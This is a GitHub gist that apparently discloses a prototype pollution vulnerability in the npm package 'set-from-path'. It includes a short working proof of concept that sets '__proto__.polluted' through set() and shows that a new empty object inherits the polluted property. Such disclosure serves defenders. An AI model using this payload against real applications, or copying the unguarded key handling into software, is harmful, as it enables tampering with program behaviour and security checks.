Created
July 18, 2023 09:26
-
-
Save miguelafmonteiro/aff114368a060120e71c4bc3f61f0a70 to your computer and use it in GitHub Desktop.
Affected versions of this package are vulnerable to Prototype Pollution. The function setInPath() (index.js#5) adds in the target object a nested property specified in the path without checking the provided keys for sensitive properties like __proto__.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const set = require('set-from-path'); | |
console.log({}.polluted) | |
set.set("__proto__.polluted", "Polluted!", {}) | |
console.log({}.polluted) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment